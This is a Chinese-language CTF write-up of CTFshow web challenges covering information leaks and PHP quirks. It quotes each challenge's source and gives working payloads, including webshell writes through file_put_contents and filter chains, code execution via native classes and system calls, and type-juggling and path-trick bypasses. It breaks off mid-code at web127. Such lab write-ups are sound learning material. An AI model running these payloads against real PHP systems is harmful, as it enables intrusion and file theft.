LOADING

加载过慢请开启缓存 浏览器默认开启

CTFshow

2023/9/2

信息收集

web1

f12查看即可

web2

不能右键和f12,但是可以CTRL+U

web3

在响应头
image.png

web4

在robots.txt

web5

phps文件泄露,在index.phps

web6

www.zip

web7

image.png
题目说是版本环境
.git泄露,直接访问就可以

web8

.svn泄露

web9

image.png
题目说vim
swp泄露,访问index.php.swp

web10

cookie里能看到

web11

image.png
域名记录不一样,直接去dns查看的网站找找就可以了

web12

image.png
翻到最下面看这个nunber,在robots.txt说访问/admin,数字就是admin的密码
这这……

web13

image.png
这里说技术文档,直接看网页最下面有一个document
image.png
进去之后发现
image.png

web14

扫描发现他有一个/editor
访问就没错
image.png
在附件的文件空间选择里发现在/var/www/html/nothinghere有个fl000g.txt
直接在url访问/nothinghere/fl00g.txt就可以了

web15

仍然是扫描发现有一个/admin
image.png
要登陆,用户名应该是主页最下面的qq邮箱
image.png
密码不知道,点击忘记密码,需要所在地
image.png
毕竟是qq邮箱,qq搜一下就知道这位在西安

web16

image.png
题目说是探针,直接后面加/tz.php看php探针
image.png
然后发现phpinfo是能点进去的,点进去在env能看到flag

web17

image.png
说是sql文件泄露
访问/backup.sql,在下载的问家里找到flag
image.png

web18

一个js小游戏,说分数要101分,先js/Flappy_js.js在这看看源码
image.png
看得出来只要score>100就可以,在控制台改一下就好了
image.png
访问110.php即可

好吧其实直接在if(score>100) { var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b"); }然后unicode解码就能看到了……

web19

image.png
看源码这里都告诉我们了,密码a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04需要解密一下,上面是加密过程,咋跟密码学一样……
应该是AES加密,解一下密码是 i_want_a_36d_girl,登录即可

web20

image.png
都这么说了肯定是mdb泄露,访问/db/db.mdb下载之后打开就有flag了
image.png

php特性

web89

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


  include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
  $num = $_GET['num'];
  if(preg_match("/[0-9]/", $num)){
    die("no no no!");
  }
  if(intval($num)){
    echo $flag;
  } 

这里主要是要绕过preg_match,只要传一个数组他就会报错出一个false
所以传的是?num[]=1
注意:对于intval()这个函数,可以参考https://blog.csdn.net/wangyuxiang946/article/details/131156104
他有很多特性,可以传小数 科学计数法 其他进制这些的去绕过,但是这题不行啊

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这个就是intval()的绕过了,方法应该挺多的,我用num=4476.2做的,可以用4476aaa或者其他的进制

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

第一个if的m参数是多行匹配,而第二个只匹配一行,所以只需要换行然后第二行有php就行了,可以用%0a
num=1%0aphp

web92

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

上面那题的intval的强比较改成了弱比较,会进行类型转换,所以一定得是数字先
其实还是上面那些都可以,可以再加一个4476e123

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

用上面的不带字母的过就好了

web94

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

image.png
因为$num是被当作字符串的,所以只要后面有0就好了,传4476.0就好

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这下不能用小数了,但是可以空格加上八进制绕过%20010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


} 

比如./flag.php或者../html/flag.php或者/var/www/html/flag.php都行

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

md5强比较,传数组就行了,post的那玩意不看是不是数组,md5是数组就报错false===false就好了
a[]=1&b[]=123

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

看起来很绕,但是只要理解了这里的&引用就好了,比如第一句话$_GET?$_GET=&$_POST:'flag';就是看get有没有传值,如果有的话就是把post的值引用给get,没有就将字符串 ‘flag’ 赋给 $_GET
而$_SERVER[‘HTTP_FLAG’] 是一个 PHP 超全局变量 $_SERVER 中的一个元素。$_SERVER 是一个包含了服务器和执行环境信息的数组。$_SERVER[‘HTTP_FLAG’] 表示 HTTP 请求头中名为 “HTTP_FLAG” 的字段的值。
最后就只要在get里面随便传点啥,然后post一个HTTP_FLAG=flag
image.png

web99

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

这个不是随机数的漏洞是in_array的漏洞,也是类型转换,要是后面的数组中有某个数字,前面有那个数字后面不管跟什么都是true
例如in_array('1a', [1,2,3,4,5])``in_array('1a', [0,1,2,3,4,5]),所以我们只需要在n中传一个1.php即可,然后content里面就传个马
或者直接命令执行也行,但是要注意这里的cat more nl被ban了,得用tac例如<?=tac%20f*;

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

运算符优先级的考察https://www.php.net/manual/zh/language.operators.precedence.php
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

  highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
      eval("$v2('ctfshow')$v3");
    }
  }

}

  ?> 

相较于上一题多了一些限制,但是注意到flag是在类ctfshow里,可以利用反射类去输出
https://www.php.net/manual/zh/class.reflectionclass.php
这里利用的是这个类的tostring函数
image.png
?v1=123&v2=echo new ReflectionClass&v3=;

web102

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
  $s = substr($v2,2);
  $str = call_user_func($v1,$s);
  echo $str;
  file_put_contents($v3,$str);
}
else{
  die('hacker');
}


?> 

substr()函数的作用是
image.png
就相当于是截取指定的一段,这里就是从第三个开始截取
然后这段代码就是说只能传数字但是可以调用一个call_user_func去处理那一串数字然后再由file_put_contents写进去
这里就是考察一个数字怎么转化为可执行代码的问题,有一种方法使用hex2bin函数:
payload如下
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=b.php
v1=hex2bin
首先这里的v2其实是echo bin2hex(str_replace("=","",base64_encode("<?=cat *;")));这里b64的目的就是把符号给去了,b64后面出来的等号可以不要,再加上bin2hex这样可以让他转化成只有字母e和数字的字符串,这样is_numeric就会识别他为科学计数法不会被ban,最后v1传一个hex2bin就可以给转回去b64编码了,对了记得要在前面加两个数字
但是也不能读b64啊,那只能在v3上面下功夫,可以用filter协议过滤一下,然后b64解码就能出来
最后访问b.php就可以了,flag在源码

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?> 

上一题过滤了php,但是对伪协议不起作用,还是可以上面那样

web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?> 

sha1弱比较,用数组绕过就行
image.png
或者这么些都是sha1加密之后0e开头的

| ```
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

 |
| --- |


## web105
```php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 

考察的是变量覆盖
我们一个个分析
首先这段
image.png
的意思是遍历每一个get和post的参数的值,等号左边是key右边是value,如果get的是error=xxx或者post的是xxx=flag的话就die();如果不是的话就会进行变量覆盖
然后
image.png
这个是说post的flag要等于变量flag的值,但是这肯定预测不到,就只有一种办法,去将$flag变为空,然后传一个空的flag过去就可以了,但是这样flag就没了,但是最后不是有一个$suces嘛,可以把flag的值赋给他
于是最后的paylod
image.png
这里$key是suces,$value是flag,于是$$key=$$value变量覆盖让$suces=$flag,然后$flag=null,最后if匹配通过

web106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?> 

跟上上题差不多,还是数组就可以,但是后面的值不要一样

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

parse_str()函数的作用是这样
image.png
image.png
这里就是在v1里找到一个变量flag的提出来他的值等于md5之后的v3
我们可以image.png这样就可以实现null==null

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?> 

首先解释一下函数的意思,第一个ereg就是说要含有字母和$在字符串里
image.png
然后intval就是转化为十进制,strrev就是反转字符
这一坨的意思就是c变量反转过后再转化为十进制的字符串等于0x36d就是877
但是也不能只传数字啊,会在ereg被ban,这里的ereg有一个%00截断,于是传?c=q%00778

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?> 

这题啥都没给又要用new,要去用php的内置类(原生类)去解决
首先要去读文件名,这里用DirectoryIterator或者FilesystemIterator类,触发它里面的__tostring函数就可以实现读取括号里面的目录的第一个文件,php手册https://www.php.net/manual/zh/class.directoryiterator.php
例如

<?php
//这两个虽然都是后去第一个文件但是第一个会获取到"."当前目录,第二个才会真正的获取文件
echo new DirectoryIterator("./");
echo new FilesystemIterator("./");

//如果要全部获取的话就需要遍历
$a=new DirectoryIterator("./");
foreach($a as $b){
    echo $b->getFilename()."<br>";
}

//如果要搜索的话可以借助glob
echo new FilesystemIterator("glob://./flag*");

还有一个类是GlobIterator类,这个是可以像glob://一样过滤找文件的

echo new GlobIterator("flag*");

对于这道题,用./去获取目录似乎不行,这里有一些其他的方法获取目录,这题只有getcwd可以,所以payload是?v1=FilesystemIterator&v2=getcwd
image.png

目录名:
echo getcwd();
echo __dir__;
echo dirname(__FILE__);  //有目录路径
echo basename(getcwd());   //只有目录名

当前文件名:
echo __file__;  //包括路径
echo $_SERVER["PHP_SELF"];
echo $_SERVER["SCRIPT_NAME"];

然后就是读文件,有一个SplFileObject类,是这样用的

echo new SplFileObject("/flag.txt");

好用是好用,但是这道题不行啊
所以我们需要另外的内置类,ErrorException类都可以
具体可以看这个https://www.php.net/manual/zh/language.exceptions.extending.php
因为这题的echo刚好可以触发__tostring
payload如下?v1=Exception&v2=system('cat fl36dg.txt'),但是很奇怪为啥不用闭合括号啊……
还看到有大佬用这种方法?v1=ReflectionClass&v2='stdClass');system('cat fl36dg.txt');//也能成功,在源码那里看到flag
其他内置类的方法可以参考https://johnfrod.top/%E5%AE%89%E5%85%A8/ctf-%E4%B8%AD-php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/
https://xz.aliyun.com/t/9293

web110

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


  highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];

  if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
    die("error v1");
  }
  if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
    die("error v2");
  }

  eval("echo new $v1($v2());");

}

  ?> 

这题多了一堆的过滤,但是直接用上面的FilesystemIteratorgetcwd就能出来文件名,直接访问就行(上一题其实也可以直接访问fl36dg.txt)

web111

<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

  highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
  eval("$$v1 = &$$v2;");
  var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];

  if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
    die("error v1");
  }
  if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
    die("error v2");
  }

  if(preg_match('/ctfshow/', $v1)){
    getFlag($v1,$v2);
  }





}

  ?>
  array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{981a45d8-0f65-4b87-90d4-df557d47d37c}" ["GLOBALS"]=> &array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{981a45d8-0f65-4b87-90d4-df557d47d37c}" ["GLOBALS"]=> *RECURSION* } }

这题考察的是一个引用和$GLOBALS变量
因为v1一定要是ctfshow,v2用一个全局变量让ctfshow指向的就是全局变量指向的,然后vardump就可以输出
?v1=ctfshow&v2=GLOBALS

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

考伪协议,?file=php://filter/resource=flag.php就可以了
具体可以看php伪协议

web113

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

看着很伪协议,可以用compress.zlib://flag.php
但是不用伪协议也可以,只需要绕过is_file就可以
在linux里/proc/self/root是指向根目录的,因此可以疯狂套娃绕过
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

哈?这个可以用filter啊
?file=php://filter/resource=flag.php

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";

trim()函数的作用是去除字符串的首尾空白字符
image.png
差不多就是把可以绕过is_numeric的全部ban了
这次要用到fuzz脚本遍历ascii去看看能用什么字符

<?php
for($i = 0; $i<129; $i++){
    $num=chr($i).'36';
    if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
        echo urlencode(chr($i))." ";
    }
}
?>

//%0C %2B - . 0 1 2 3 4 5 6 7 8 9

试了下只有%0C可以
?num=%2B36

web123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

解法一:用eval命令执行
首先要绕过CTF_SHOW.COM,因为php的变量命名是只有数字字母下划线的,.是不行的会被替换为下划线,所以用[绕一下,然后命令执行即可
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag,这里CTF[SHOW.COM会被替换为CTF_SHOW.COM,然后后面的.不会被替换,变量能正常被识别
**解法二**:变量覆盖
也可以给$fl0g=”flag_give_me”
先要了解一下$_SERVER是啥,这玩意差不多就是输出一些服务器的信息
image.png
然后argv的话就会获取get里的值(这个变量仅在 register_argc_argv 打开时可用),$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]=get传参?后面的值,注意是整个字符串,key和value都有
用这个特性,我们就可以不用直接在get里赋fl0g,而是?$fl0g=flag_give_me;,曲线救国,这个不会识别出来,然后因为$a=$_SERVER['argv'];,让$a[0]=="$fl0g=flag_give_me;",于是再利用eval,把他给$c进行命令执行赋值$f10g,最后让最后的if语句为true
?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])或者assert($a[0])等其他的命令执行函数
解法三:argv隔断
可以用+符号隔断argv,这样不会被检测到有f10g参数,再用parse_str()函数去把字符串解析成变量
?a=1+fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])(注意这里$a[1],因为被隔断了,argv认为为下一个才是f10g)

web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

用上面的解法二三可以出
然后还可以执行一些别的命令例如highlight_file($_GET[a])然后?a=flag.php也可以绕过

web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

多了几个字母的过滤,用解法二三也行

web127

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

看到extract一眼变量覆盖,但是限制一大堆
可以用fuzz跑一下,或者写个request脚本去打

<?php
function waf($num){
